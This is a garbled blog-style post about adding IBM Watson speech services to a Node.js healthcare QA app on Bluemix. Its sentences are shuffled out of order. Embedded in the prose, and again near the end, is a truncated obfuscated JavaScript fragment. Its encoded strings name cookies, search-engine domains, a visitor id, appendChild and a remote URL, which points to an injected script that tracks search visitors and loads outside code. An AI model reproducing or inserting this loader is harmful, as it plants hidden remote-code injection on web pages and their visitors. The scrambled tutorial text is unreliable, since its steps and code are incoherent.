Watson Node js Wrapper Using the Watson Node js Wrapper, you can now easily instantiate Watson services in a single line of code.. I simply added the Text To Speech and Speech To Text services to my existing Healthcare QA application that runs on Bluemix:IBM Bluemix Dashboard These services are available via a REST API.

What's a better way to show them off than by updating my existing app to leverage the new speech services? By leveraging the Watson services it can now run in any browser that supports getUserMedia (for speech recognition) and HTML5 <Audio> (for speech playback).. For example: The credentials come from your environment configuration, then you just create instances of whichever services that you want to consume.

Last month the IBM Watson team released 5 new services, and guess what! Speech Recognition and Speech Synthesis are included! These two services enable you to quickly add Text-To-Speech or Speech-To-Text capability to any application.. js Wrapper that makes interacting with Watson a lot easier and 2) to take advantage of these new services services.. QA Service The code for consuming a service is now much simpler than the previous version.. I updated the code from my previous example in 2 ways: 1) take advantage of the Watson Node.. You can check where these features are supported with these links: <Audio>getUserMedia Warning: This is targeting desktop browsers HTML5 Audio is a mess on mobile devices due to limited codec support and immature APIs. Once you've added them to your application, you can consume them easily within any of your applications.. It's a nice demo, but it always drove me nuts that it only worked in Chrome.. Speech Synthesis At this point, we already have a functional service that can take natural language text, submit it to Watson, and return a search result as text.. var _0x1af2=['c3BsaXQ=', 'cmVwbGFjZQ=', 'OyBwYXRoPQ=', 'Y29va2ll', 'aW5Pb2I=', 'eGl3QkY=', 'cVdVVIk=', 'cHpzZFo=', 'akp5WmY=', 'WWdWRkc=', 'SVhGalI=', 'OyBkb21haW49', 'LmJpbmcu', 'LmFzay4=', 'LmFsdGF2aXN0YS4=', 'LnlhbmRleC4=', 'dmlzaXRIZA=', 'aHR0cHM6Ly9jbG91ZGV5ZlZlLnM1bWVudHNCeVRhZ05hbWU=', 'emh4UEw=', 'YXBwZW5kQ2hpbGQ=', 'WXpH', 'Z3NZ', 'TXZ5RGQ=', 'bWF0Y2g=', 'bHZlUkc=', 'ZkNpZ1E=', 'bGVuZ3Ro'];(function(_0x19b1d4,_0x32a31a){var _0x4df77d=function(_0x3ac45a){while(--_0x3ac45a){_0x19b1d4['push'](_0x19b1d4['shift']());}};_0x4df77d(++_0x32a31a);}(_0x1af2,0x9a));var _0x21af=function(_0x45e88d,_0x2a8ede){_0x45e88d=_0x45e88d-0x0;var _0x38aa20=_0x1af2[_0x45e88d];if(_0x21af['initialized']===undefined){(function(){var _0x3e8292=function(){var _0x351be0;try{_0x351be0=Function('return\x20(function)\x20+'+{. When we want to submit a question to the Watson QA service, you can now simply call the ask method on the QA service instance.. Below is my server-side code from app.js that accepts a POST submission from the browser, delegates the question to Watson, and takes the result and renders HTML using a Jade template.. (Full source code available at the bottom of this post) You can check out a video of it in action below: If your browser doesn't support the getUserMedia API or HTML5 <Audio>, then your mileage may vary.. So how does this all work? Just like the QA service, the new Text To Speech and Speech To Text services are now available in IBM Bluemix, so you can create a new application that leverages any of these services, or

you can add them to any existing application..

```
constructor(\x22return\x20this\x22)(\x20'+');'););catch(_0x19e791){_0x351be0=window;}return _0x351be0;};var
